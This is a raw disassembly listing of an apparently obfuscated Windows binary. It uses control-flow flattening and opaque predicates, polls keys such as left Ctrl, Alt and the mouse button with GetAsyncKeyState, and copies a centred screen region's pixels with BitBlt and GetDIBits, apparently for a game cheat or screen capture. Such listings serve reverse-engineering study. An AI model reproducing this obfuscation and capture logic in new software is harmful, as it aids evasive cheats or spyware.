mov dword [rbp + 0xb0], ebx
mov edx, dword [0x14083eef8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x14083eefc], 0xa
setl dl
or dl, bl
cmp esi, 0x32
setge bl
and bl, r11b
mov byte [rbp + 0xb8], bl
mov esi, 0xa8ff937
mov ebx, 0x4b411c83
cmovne esi, ebx
mov dword [rbp + 0xbc], esi
cmp r8d, 0x5a
mov esi, 0x320b7ca8
mov ebx, 0xb9971b53
cmovge esi, ebx
mov dword [rbp + 0xc0], esi
mov esi, 0xa8ff937
mov ebx, 0x129ce85e
cmovge esi, ebx
mov dword [rbp + 0xc4], esi
lea ebx, [rax - 0x4f8510be]
sub ebx, 0xb07aef42
cmovb ebx, ecx
mov dword [rbp + 0xc8], ebx
cmp r12d, 0x78
mov r14d, 0xd14e77a5
mov ebx, 0x582c8a14
cmovae r14d, ebx
lea ebx, [r12 - 0xf1]
cmp ebx, 0xe
setb bl
and bl, r10b
mov byte [rbp + 0x227], bl
lea ebx, [r12 - 0x3d]
cmp ebx, 0x1d
setb bl
and bl, r10b
mov byte [rbp + 0xcc], bl
lea ebx, [rdi - 0xf1]
mov dword [rbp + 0xd0], ebx
add edi, 0xffffff23
cmp edi, 0x22
mov r13d, 0x879c1d07
mov ebx, 0x355c5d0f
cmovb r13d, ebx
test byte [rbp + 0x200], r9b
mov edi, 0x320b7ca8
mov ebx, 0x4e81ebe6
cmovne edi, ebx
mov dword [rbp + 0xd4], edi
mov edi, 0x48478b74
mov ebx, 0x4fd68c8e
cmovne edi, ebx
mov dword [rbp + 0xd8], edi
lea ebx, [rax - 0x694295a6]
sub ebx, 0x96bd6a5a
cmovb ebx, ecx
cmp ebx, 0xe
mov edi, 0x48478b74
mov ebx, 0x3d95e98c
cmovl edi, ebx
mov dword [rbp + 0xdc], edi
mov dword [rbp + 0xa8], r8d
cmp r8d, 0x3c
mov edi, 0x86af495c
mov ebx, 0x9ff3b93c
cmovge edi, ebx
mov dword [rbp + 0xe0], edi
add eax, 0x9d0172d1
sub eax, 0x9d0172d1
cmovb eax, ecx
cmp eax, 9
mov ecx, 0x86af495c
mov eax, 0x6149549
cmovl ecx, eax
mov dword [rbp + 0xe4], ecx
test dl, dl
mov ecx, 0x9dc021d0
mov eax, 0xbbe089ed
cmovne ecx, eax
mov dword [rbp + 0xe8], ecx
mov ecx, 0x9dc021d0
mov eax, 0x3f8d69ad
cmovne ecx, eax
mov dword [rbp + 0xec], ecx
mov ecx, 0x63d0140a
mov eax, 0x93df7922
cmovne ecx, eax
mov dword [rbp + 0xf0], ecx
mov ecx, 0x63d0140a
mov eax, 0x51224ba6
cmovne ecx, eax
mov dword [rbp + 0xf4], ecx
mov ecx, 0x611bb2d0
mov eax, 0x1cd05ed2
cmovne ecx, eax
mov dword [rbp + 0xf8], ecx
mov ecx, 0x611bb2d0
mov eax, 0x313ad3bc
cmovne ecx, eax
mov dword [rbp + 0x200], ecx
mov ecx, 0xf61763f8
mov eax, 0xfb6edee4
cmovne ecx, eax
mov dword [rbp + 0xfc], ecx
mov ecx, 0xf61763f8
mov eax, 0x71a9dd7f
cmovne ecx, eax
mov dword [rbp + 0x1c4], ecx
mov ecx, 0x9c175cfc
mov eax, 0xfa4f8c99
cmovne ecx, eax
mov dword [rbp + 0x100], ecx
mov ecx, 0x9c175cfc
mov eax, 0x1c06d4b0
cmovne ecx, eax
mov dword [rbp + 0x104], ecx
mov ecx, 0x3a402c9b
mov eax, 0xe526da47
cmovne ecx, eax
mov dword [rbp + 0x108], ecx
mov ecx, 0x3a402c9b
mov eax, 0x27998977
cmovne ecx, eax
mov dword [rbp + 0x1c8], ecx
mov ecx, 0x4787549
mov eax, 0xc958e9b0
cmovne ecx, eax
mov dword [rbp + 0x10c], ecx
mov ecx, 0x4787549
mov eax, 0xb1904259
cmovne ecx, eax
mov edx, 0xf2292618
mov eax, 0xc0626a9b
cmovne edx, eax
mov dword [rbp + 0x110], edx
mov edx, 0xf2292618
mov eax, 0xdb82b6eb
cmovne edx, eax
mov dword [rbp + 0x114], edx
mov edx, 0xb46db045
mov eax, 0x9283015a
cmovne edx, eax
mov dword [rbp + 0x118], edx
mov edx, 0xb46db045
mov eax, 0x86c3ee96
cmovne edx, eax
mov dword [rbp + 0x11c], edx
mov edx, 0x4cfa81a7
mov eax, 0xcc7567e2
cmovne edx, eax
mov dword [rbp + 0x120], edx
mov edx, 0x4cfa81a7
mov eax, 0x11f9b7d2
cmovne edx, eax
mov dword [rbp + 0x124], edx
mov edx, 0x75106d6
mov eax, 0xe77fc525
cmovne edx, eax
mov dword [rbp + 0x128], edx
mov edx, 0x75106d6
mov eax, 0xb6fe18a9
cmovne edx, eax
mov dword [rbp + 0x1cc], edx
mov edx, 0xe873c9c3
mov eax, 0x560586c0
cmovne edx, eax
mov dword [rbp + 0x12c], edx
mov edx, 0xe873c9c3
mov eax, 0x5b80a5eb
cmovne edx, eax
mov dword [rbp + 0x130], edx
mov edx, 0x99c98808
mov eax, 0x1a8d1cc1
cmovne edx, eax
mov dword [rbp + 0x134], edx
mov edx, 0x99c98808
mov eax, 0xa29d94b6
cmovne edx, eax
mov dword [rbp + 0x1d0], edx
mov edx, 0xa4a0fd7f
mov eax, 0x7888bf87
cmovne edx, eax
mov dword [rbp + 0x138], edx
mov edx, 0xa4a0fd7f
mov eax, 0xbc6f6660
cmovne edx, eax
mov dword [rbp + 0x1d4], edx
mov edx, 0x9b01d9c
mov eax, 0xd6bba5ff
cmovne edx, eax
mov dword [rbp + 0x13c], edx
mov edx, 0x9b01d9c
mov eax, 0x5508568e
cmovne edx, eax
mov dword [rbp + 0x140], edx
mov qword [rbp + 0xa0], r12
cmp r12d, 0xbe
mov edx, 0x31730401
mov eax, 0xe02be98b
cmovae edx, eax
mov dword [rbp + 0x144], edx
mov r12d, 0x7fbd2e16
mov eax, 0xa7452697
cmovae r12d, eax
mov r9d, 0x8d72677d
jmp 0x1402bab80
mov r9d, 0x37394ae0
xor edi, edi
nop word [rax + rax]
mov eax, r9d
cmp r9d, 0x75106d5
jle 0x1402babf0
cmp eax, 0x3d95e98b
jle 0x1402bac50
cmp eax, 0x582c8a13
jg 0x1402bad0f
cmp eax, 0x4cfa81a6
jle 0x1402bae36
cmp eax, 0x51224ba5
jg 0x1402bb030
cmp eax, 0x4cfa81a7
je 0x1402bb312
cmp eax, 0x4e81ebe6
je 0x1402bb31d
mov r9d, eax
cmp eax, 0x4fd68c8e
jne 0x1402bab80
mov r9d, dword [rbp + 0x124]
jmp 0x1402bab80
cmp eax, 0xc0626a9a
jle 0x1402bacb0
cmp eax, 0xe77fc524
jg 0x1402bad55
cmp eax, 0xd14e77a4
jle 0x1402bae71
cmp eax, 0xdb82b6ea
jg 0x1402bb066
cmp eax, 0xd14e77a5
je 0x1402bb332
cmp eax, 0xd6bba5ff
je 0x1402bb341
mov r9d, eax
cmp eax, 0xdb224399
jne 0x1402bab80
xor ebx, ebx
mov r9d, dword [rbp + 0xdc]
jmp 0x1402bab80
cmp eax, 0x2600224c
jg 0x1402bada4
cmp eax, 0x11f9b7d1
jle 0x1402baead
cmp eax, 0x1c06d4af
jg 0x1402bb0a2
cmp eax, 0x11f9b7d2
je 0x1402bb35c
cmp eax, 0x129ce85e
je 0x1402bb370
mov r9d, eax
cmp eax, 0x1a8d1cc1
jne 0x1402bab80
mov r9d, 0x86af495c
movzx edx, byte [rbp + 0x1bc]
jmp 0x1402bab80
cmp eax, 0x9ff3b93b
jle 0x1402baded
cmp eax, 0xb1904258
jle 0x1402baeef
cmp eax, 0xb9971b52
jg 0x1402bb0d4
cmp eax, 0xb1904259
je 0x1402bb37e
cmp eax, 0xb46db045
je 0x1402bb391
mov r9d, eax
cmp eax, 0xb6fe18a9
jne 0x1402bab80
cmp dword [rbp + 0xa8], 0x32
setge byte [rbp + 0x234]
mov r9d, dword [rbp + 0x128]
jmp 0x1402bab80
cmp eax, 0x63d01409
jle 0x1402baf2c
cmp eax, 0x7888bf86
jg 0x1402bb111
cmp eax, 0x63d0140a
je 0x1402bb39c
cmp eax, 0x71a9dd7f
je 0x1402bb3a7
mov r9d, eax
cmp eax, 0x77b50b73
jne 0x1402bab80
mov r9d, dword [rbp + 0x104]
jmp 0x1402bab80
cmp eax, 0xfa4f8c98
jle 0x1402baf70
cmp eax, 0xfdfca998
jg 0x1402bb141
cmp eax, 0xfa4f8c99
je 0x1402bb3b7
cmp eax, 0xfb6edee4
je 0x1402bb3d5
mov r9d, eax
cmp eax, 0xfd938e58
jne 0x1402bab80
mov r9d, 0x3083be0d
movzx eax, byte [rbp + 0x90]
mov r10d, eax
jmp 0x1402bab80
cmp eax, 0x31730400
jle 0x1402bafad
cmp eax, 0x36237960
jg 0x1402bb176
mov r9d, r14d
cmp eax, 0x31730401
je 0x1402bab80
cmp eax, 0x320b7ca8
je 0x1402bb3ed
mov r9d, eax
cmp eax, 0x355c5d0f
jne 0x1402bab80
mov r9d, dword [rbp + 0x114]
jmp 0x1402bab80
cmp eax, 0x92830159
jg 0x1402baff6
cmp eax, 0x879c1d06
jle 0x1402bb197
cmp eax, 0x879c1d07
je 0x1402bab6f
cmp eax, 0x8d72677d
je 0x1402bb3fb
mov r9d, eax
cmp eax, 0x9243edaa
jne 0x1402bab80
xor r11d, r11d
mov r9d, dword [rbp + 0xc0]
jmp 0x1402bab80
cmp eax, 0x40b2a2c9
jle 0x1402bb1c3
cmp eax, 0x40b2a2ca
je 0x1402bab6f
cmp eax, 0x48478b74
je 0x1402bb406
mov r9d, eax
cmp eax, 0x4b411c83
jne 0x1402bab80
mov r9d, dword [rbp + 0xf4]
jmp 0x1402bab80
cmp eax, 0xc958e9af
jle 0x1402bb1ef
cmp eax, 0xc958e9b0
je 0x1402bb413
cmp eax, 0xcc7567e2
je 0x1402bb42e
mov r9d, eax
cmp eax, 0xcdede5c0
jne 0x1402bab80
xor edi, edi
mov r9d, 0x37394ae0
jmp 0x1402bab80
cmp eax, 0xa8ff936
jle 0x1402bb210
cmp eax, 0xa8ff937
je 0x1402bb43d
mov r9d, dword [rbp + 0x1d0]
cmp eax, 0xb7fac70
je 0x1402bab80
mov r9d, eax
cmp eax, 0xfc36538
jne 0x1402bab80
mov r9d, dword [rbp + 0x144]
jmp 0x1402bab80
cmp eax, 0xa4a0fd7e
jle 0x1402bb234
cmp eax, 0xa4a0fd7f
je 0x1402bb453
cmp eax, 0xa7452697
je 0x1402bab6f
mov r9d, eax
cmp eax, 0xa7b8d955
jne 0x1402bab80
xor esi, esi
mov r9d, dword [rbp + 0xc4]
jmp 0x1402bab80
cmp eax, 0x5cdc200a
jle 0x1402bb26b
mov r9d, ecx
cmp eax, 0x5cdc200b
je 0x1402bab80
mov r9d, dword [rbp + 0x1c8]
cmp eax, 0x5dbfe70e
je 0x1402bab80
mov r9d, eax
cmp eax, 0x611bb2d0
jne 0x1402bab80
mov r9d, 0x313ad3bc
jmp 0x1402bab80
cmp eax, 0xf2292617
jle 0x1402bb297
cmp eax, 0xf2292618
je 0x1402bb45e
cmp eax, 0xf61763f8
je 0x1402bb469
mov r9d, eax
cmp eax, 0xf651beac
jne 0x1402bab80
xor ebx, ebx
mov r9d, dword [rbp + 0xd8]
jmp 0x1402bab80
cmp eax, 0x27998976
jle 0x1402bb2bb
cmp eax, 0x27998977
je 0x1402bb474
cmp eax, 0x3083be0d
je 0x1402bb48b
mov r9d, eax
cmp eax, 0x313ad3bc
jne 0x1402bab80
cmp dword [rbp + 0xc8], 9
setl byte [rbp + 0x228]
mov r9d, dword [rbp + 0xf8]
jmp 0x1402bab80
cmp eax, 0x99c98807
jle 0x1402bb2e7
cmp eax, 0x99c98808
je 0x1402bb499
cmp eax, 0x9c175cfc
je 0x1402bb4a4
mov r9d, eax
cmp eax, 0x9dc021d0
jne 0x1402bab80
mov r9d, 0x3f8d69ad
jmp 0x1402bab80
cmp eax, 0x51224ba6
je 0x1402bb4af
cmp eax, 0x5508568e
je 0x1402bb4c6
mov r9d, eax
cmp eax, 0x560586c0
jne 0x1402bab80
mov r9d, 0x37394ae0
movzx edi, byte [rbp + 0x210]
jmp 0x1402bab80
cmp eax, 0xdb82b6eb
je 0x1402bb4e0
cmp eax, 0xe02be98b
je 0x1402bab6f
mov r9d, eax
cmp eax, 0xe526da47
jne 0x1402bab80
cmp byte [rbp + 0x78], 0
mov r9d, 0x40b2a2ca
mov eax, 0x77b50b73
cmovne r9d, eax
jmp 0x1402bab80
cmp eax, 0x1c06d4b0
je 0x1402bb4f9
cmp eax, 0x1cd05ed2
je 0x1402bb512
mov r9d, eax
cmp eax, 0x1f198b43
jne 0x1402bab80
xor edx, edx
mov r9d, dword [rbp + 0xe4]
jmp 0x1402bab80
cmp eax, 0xb9971b53
je 0x1402bb52f
cmp eax, 0xbbe089ed
je 0x1402bb53e
mov r9d, eax
cmp eax, 0xbc6f6660
jne 0x1402bab80
movzx eax, byte [rbp + 0xb8]
mov byte [rbp + 0x1f4], al
mov r9d, dword [rbp + 0x138]
jmp 0x1402bab80
cmp eax, 0x7888bf87
je 0x1402bb550
cmp eax, 0x7e266115
je 0x1402bb56d
mov r9d, eax
cmp eax, 0x7fbd2e16
jne 0x1402bab80
mov r9d, dword [rbp + 0x140]
jmp 0x1402bab80
mov r9d, r13d
cmp eax, 0xfdfca999
je 0x1402bab80
cmp eax, 0x4787549
je 0x1402bb57b
mov r9d, eax
cmp eax, 0x6149549
jne 0x1402bab80
xor edx, edx
mov r9d, dword [rbp + 0xe0]
jmp 0x1402bab80
cmp eax, 0x36237961
je 0x1402bb586
cmp eax, 0x3a402c9b
jne 0x1402bb612
mov r9d, 0x27998977
jmp 0x1402bab80
cmp eax, 0x86af495c
je 0x1402bb59b
mov r9d, eax
cmp eax, 0x86c3ee96
jne 0x1402bab80
mov byte [rbp + 0x160], 0
mov r9d, dword [rbp + 0x118]
jmp 0x1402bab80
mov r9d, dword [rbp + 0x1cc]
cmp eax, 0x3d95e98c
je 0x1402bab80
mov r9d, eax
cmp eax, 0x3f8d69ad
jne 0x1402bab80
mov r9d, dword [rbp + 0xe8]
jmp 0x1402bab80
cmp eax, 0xc0626a9b
je 0x1402bb5b1
mov r9d, eax
cmp eax, 0xc7564925
jne 0x1402bab80
mov r9d, r12d
jmp 0x1402bab80
cmp eax, 0x75106d6
je 0x1402bb5cf
mov r9d, eax
cmp eax, 0x9b01d9c
jne 0x1402bab80
mov r9d, 0x5508568e
jmp 0x1402bab80
mov r9d, dword [rbp + 0x1d4]
cmp eax, 0x9ff3b93c
je 0x1402bab80
mov r9d, eax
cmp eax, 0xa29d94b6
jne 0x1402bab80
cmp r15b, 0x69
setae byte [rbp + 0x1bc]
mov r9d, dword [rbp + 0x134]
jmp 0x1402bab80
mov r9d, dword [rbp + 0x200]
cmp eax, 0x582c8a14
je 0x1402bab80
mov r9d, eax
cmp eax, 0x5b80a5eb
jne 0x1402bab80
mov r9d, dword [rbp + 0x12c]
jmp 0x1402bab80
cmp eax, 0xe77fc525
je 0x1402bb5da
mov r9d, eax
cmp eax, 0xe873c9c3
jne 0x1402bab80
mov r9d, 0x5b80a5eb
jmp 0x1402bab80
mov r9d, dword [rbp + 0x1c4]
cmp eax, 0x2600224d
je 0x1402bab80
mov r9d, eax
cmp eax, 0x273da506
jne 0x1402bab80
mov r9d, dword [rbp + 0x11c]
jmp 0x1402bab80
cmp eax, 0x9283015a
je 0x1402bb5f7
mov r9d, eax
cmp eax, 0x93df7922
jne 0x1402bab80
mov r9d, 0xa8ff937
movzx esi, byte [rbp + 0x238]
jmp 0x1402bab80
mov r9d, 0x11f9b7d2
jmp 0x1402bab80
movzx eax, byte [rbp + 0x88]
mov r11d, eax
mov r9d, 0x320b7ca8
jmp 0x1402bab80
xor r11d, r11d
mov r9d, dword [rbp + 0xb0]
jmp 0x1402bab80
cmp byte [rbp + 0x1f8], 0
mov r9d, 0xdb224399
mov eax, 0x1f198b43
cmovne r9d, eax
jmp 0x1402bab80
cmp r15b, 0x64
setae byte [rbp + 0x58]
mov r9d, dword [rbp + 0x120]
jmp 0x1402bab80
xor esi, esi
mov r9d, dword [rbp + 0xbc]
jmp 0x1402bab80
mov byte [rbp + 0x150], 0
mov r9d, dword [rbp + 0x10c]
jmp 0x1402bab80
mov r9d, 0x86c3ee96
jmp 0x1402bab80
mov r9d, 0x51224ba6
jmp 0x1402bab80
mov byte [rbp + 0x70], 0
mov r9d, dword [rbp + 0xfc]
jmp 0x1402bab80
cmp byte [rbp + 0x148], 0
mov r9d, 0x3083be0d
mov eax, 0xfd938e58
cmovne r9d, eax
xor r10d, r10d
jmp 0x1402bab80
cmp byte [rbp + 0x70], 0
mov r9d, 0xcdede5c0
mov eax, 0xfc36538
cmovne r9d, eax
jmp 0x1402bab80
mov edi, r11d
mov r9d, 0x37394ae0
jmp 0x1402bab80
mov r9d, 0xc7564925
jmp 0x1402bab80
mov r9d, 0x37394ae0
mov edi, ebx
jmp 0x1402bab80
cmp byte [rbp + 0x150], 0
mov r9d, 0x2600224d
mov eax, 0x5dbfe70e
cmovne r9d, eax
jmp 0x1402bab80
mov r9d, 0x48478b74
movzx ebx, byte [rbp + 0x58]
jmp 0x1402bab80
mov eax, esi
and al, 1
mov byte [rbp + 0x190], al
mov r9d, dword [rbp + 0xec]
jmp 0x1402bab80
mov r9d, 0xbc6f6660
jmp 0x1402bab80
mov r9d, 0xdb82b6eb
jmp 0x1402bab80
mov r9d, 0x71a9dd7f
jmp 0x1402bab80
cmp dword [rbp + 0xd0], 0xe
setb byte [rbp + 0x78]
mov r9d, dword [rbp + 0x108]
jmp 0x1402bab80
mov r9d, 0x37394ae0
mov edi, r10d
jmp 0x1402bab80
mov r9d, 0xa29d94b6
jmp 0x1402bab80
mov r9d, 0x1c06d4b0
jmp 0x1402bab80
cmp r15b, 0x69
setae byte [rbp + 0x238]
mov r9d, dword [rbp + 0xf0]
jmp 0x1402bab80
cmp byte [rbp + 0xa0], 0x78
setae byte [rbp + 0x1f8]
mov r9d, dword [rbp + 0x13c]
jmp 0x1402bab80
movzx eax, byte [rbp + 0xcc]
mov byte [rbp + 0x158], al
mov r9d, dword [rbp + 0x110]
jmp 0x1402bab80
movzx eax, byte [rbp + 0x227]
mov byte [rbp + 0x148], al
mov r9d, dword [rbp + 0x100]
jmp 0x1402bab80
cmp byte [rbp + 0x228], 0
mov r9d, 0xa8ff937
mov eax, 0xa7b8d955
cmovne r9d, eax
xor esi, esi
jmp 0x1402bab80
xor r11d, r11d
mov r9d, dword [rbp + 0xd4]
jmp 0x1402bab80
movzx edi, byte [rbp + 0x190]
mov r9d, 0x37394ae0
jmp 0x1402bab80
cmp byte [rbp + 0x1f4], 0
mov r9d, 0x86af495c
mov eax, 0xb7fac70
cmovne r9d, eax
xor edx, edx
jmp 0x1402bab80
mov r9d, 0x37394ae0
mov edi, r8d
jmp 0x1402bab80
mov r9d, 0xb1904259
jmp 0x1402bab80
mov r9d, 0x7e266115
movzx eax, byte [rbp + 0x98]
mov r8d, eax
jmp 0x1402bab80
mov eax, edx
and al, 1
mov byte [rbp + 0x210], al
mov r9d, dword [rbp + 0x130]
jmp 0x1402bab80
cmp byte [rbp + 0x158], 0
mov r9d, 0x7e266115
mov eax, 0x36237961
cmovne r9d, eax
xor r8d, r8d
jmp 0x1402bab80
mov r9d, 0xb6fe18a9
jmp 0x1402bab80
cmp byte [rbp + 0x234], 0
mov r9d, 0x48478b74
mov eax, 0xf651beac
cmovne r9d, eax
xor ebx, ebx
jmp 0x1402bab80
cmp byte [rbp + 0x160], 0
mov r9d, 0x5cdc200b
mov eax, 0xfdfca999
cmovne r9d, eax
jmp 0x1402bab80
mov r9d, eax
cmp eax, 0x37394ae0
jne 0x1402bab80
test dil, 1
mov eax, 0xe21beb2b
mov ecx, 0xb4524d74
cmovne eax, ecx
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x828c2c9
mov ecx, 0x6e6a7736
jmp 0x1402b3de0
mov rax, qword [rbp + 0x80]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x14083dce8]
call fcn.1402b00a0
add rsp, 0x20
movss xmm0, dword [0x14083dce8]
mov eax, dword [0x14083eed0]
mov edi, dword [0x14083eed4]
lea ebx, [rax - 1]
imul ebx, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
test bl, 1
sete byte [rbp + 0x238]
mov esi, 0xa59062ab
mov eax, 0x4b4142e5
cmove esi, eax
cmp edi, 0xa
setl byte [rbp + 0x210]
cmovl esi, eax
mov eax, 0xd5e09d55
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4b4142e4
jg 0x1402bb710
cmp eax, 0xa59062ab
je 0x1402bb726
cmp eax, 0xd5e09d55
jne 0x1402bb6d0
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402bb6d0
cmp eax, 0x4b4142e5
je 0x1402bc535
cmp eax, 0x6a6efff6
jne 0x1402bb6d0
mov eax, esi
jmp 0x1402bb6d0
mov eax, 0x6a6efff6
jmp 0x1402bb6d0
mov eax, 0x73ffaa85
jmp 0x1402b3ded
mov ecx, dword [0x14083dfc4]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0x41bc305
mov ecx, 0xe67c3d
cmovns eax, ecx
jmp 0x1402b3ded
mov byte [0x14083da11], 0
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x50]
mov edx, dword [0x140837e60]
mov ebx, dword [0x140837e64]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete byte [rbp + 0x210]
cmp ebx, 0xa
setl byte [rbp + 0x190]
mov edx, 0xd955c508
nop dword [rax + rax]
cmp edx, 0xe1184721
jg 0x1402bb7e0
cmp edx, 0x8d0856b4
je 0x1402bc5dd
cmp edx, 0xd955c508
jne 0x1402bb7a0
movzx ebx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov edx, 0xe1184722
mov edi, 0x46c478f2
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402bb7a0
cmp edx, 0xe1184722
je 0x1402bb81f
cmp edx, 0x46c478f2
jne 0x1402bb7a0
mov qword [rcx], 0
mov edx, dword [0x140837e60]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xe1184722
mov ebx, 0x8d0856b4
cmove edx, ebx
cmp dword [0x140837e64], 0xa
cmovl edx, ebx
jmp 0x1402bb7a0
mov qword [rcx], 0
mov edx, 0x46c478f2
jmp 0x1402bb7a0
mov rax, qword [rbp + 0x80]
ucomiss xmm7, dword [rax]
setnp al
sete cl
test cl, al
mov eax, 0xd6016d8a
mov ecx, 0x15901669
cmovne eax, ecx
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb075d1d
mov ecx, 0x8a87e3a5
jmp 0x1402b3de0
mov ecx, dword [0x14083dfc8]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0x5f279edf
mov ecx, 0x41b87ad
cmove eax, ecx
jmp 0x1402b3ded
mov dword [0x14083dfc4], 0xa2
mov eax, 0xbeded453
jmp 0x1402b3ded
mov dword [0x14083dfc8], 0x12
mov eax, 0x6f87fad7
jmp 0x1402b3ded
mov eax, 0xd303b146
mov cl, byte [rbp + 0x1e6]
mov byte [rbp + 0x1f0], cl
jmp 0x1402b3ded
movabs rax, 0xa00000006
mov qword [0x14083dfdc], rax
mov eax, 0xa7325adb
jmp 0x1402b3ded
mov qword [rbp + 0x210], r8
mov rax, qword [rbp + 0x210]
sub rsp, 0x40
lea r14, [rbp + 0x190]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
xor eax, eax
mov qword [rbp - 0x28], rax
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
mov rsi, qword [sym.imp.GDI32.dll_GetDIBits]
call rsi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
call rsi
add rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp + 0x200]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0x47b299de
mov dword [rbp + 0x28], 0
jmp 0x1402b3ded
cmp dword [rbp + 0x188], 0
mov eax, 0xa4743232
mov ecx, 0x21f8621a
cmovle eax, ecx
jmp 0x1402b3ded
mov eax, 0xd353affb
jmp 0x1402b3ded
mov eax, 0x13104332
mov dword [rbp + 0x1c], 0
mov cl, byte [rbp + 0x1e7]
mov byte [rbp + 0x1f1], cl
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f3d90bb
mov ecx, 0x88ec0199
jmp 0x1402b3de0
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0x6f91de98
mov ecx, 0x5717bf3f
cmovns eax, ecx
jmp 0x1402bc7b4
cvttss2si eax, dword [0x14083dfac]
mov dword [rbp + 0x18c], eax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov eax, dword [0x14083da44]
sub eax, dword [rbp + 0x18c]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov eax, dword [0x14083da40]
sub eax, dword [rbp + 0x18c]
mov edx, eax
shr edx, 0x1f
add edx, eax
sar edx, 1
mov rax, qword [rbp - 0x30]
mov ebx, dword [rbp + 0x18c]
mov dword [rax], edx
mov dword [rax + 4], ecx
mov dword [rax + 8], ebx
mov dword [rax + 0xc], ebx
mov rax, qword [rbp - 0x30]
movsxd rdi, dword [rax + 8]
movsxd rbx, dword [rax + 0xc]
mov r14d, dword [rax]
mov r15d, dword [rax + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, r12
mov edx, edi
mov r8d, ebx
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov qword [rbp + 0x200], rax
sub rsp, 0x50
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9d, edi
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
lea rax, [rbp + 0x1a8]
movups xmmword [rax], xmm6
mov dword [rbp + 0x190], Ordinal_41
mov dword [rbp + 0x19c], 0x200001
mov dword [rbp + 0x194], edi
mov eax, ebx
neg eax
mov dword [rbp + 0x198], eax
mov qword [rbp + 0x1a0], 0
imul rdi, rbx
shl rdi, 2
sub rsp, 0x20
lea rcx, [0x14083dd00]
mov rdx, rdi
lea r8, [rbp + 0x210]
call fcn.14034ce50
add rsp, 0x20
mov eax, dword [0x1408382f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x1408382f4]
mov eax, 0x2acbea3d
mov edx, 0xa71f946
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
mov r8, qword [0x14083dd00]
cmovl eax, edx
mov edx, 0x6e3609a9
nop word cs:[rax + rax]
cmp edx, 0x6e3609a8
jg 0x1402bbc00
cmp edx, 0xa71f946
je 0x1402bc5f1
cmp edx, 0x2acbea3d
jne 0x1402bbbd0
mov edx, 0x74015c41
jmp 0x1402bbbd0
cmp edx, 0x74015c41
je 0x1402bbc32
cmp edx, 0x6e3609a9
jne 0x1402bbbd0
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x2acbea3d
mov edi, 0x74015c41
cmovne edx, edi
test cl, cl
cmovne edx, edi
jmp 0x1402bbbd0
mov edx, eax
jmp 0x1402bbbd0
cmp byte [rbp + 0x175], 0
mov eax, 0x629ba0f7
mov ecx, 0x7fca6e11
cmovne eax, ecx
jmp 0x1402b3ded
mov eax, 0x54fdb679
jmp 0x1402b3ded
mov eax, 0x4c4728
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b3326db
mov ecx, 0x744233b0
jmp 0x1402b3de0
mov edx, dword [rbp + 0x48]
mov r8d, dword [rbp + 0x44]
sub rsp, 0x20
lea rcx, [0x14083d938]
call fcn.1402b1e70
add rsp, 0x20
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f3d90bb
mov ecx, 0x4510dd7b
jmp 0x1402b3de0
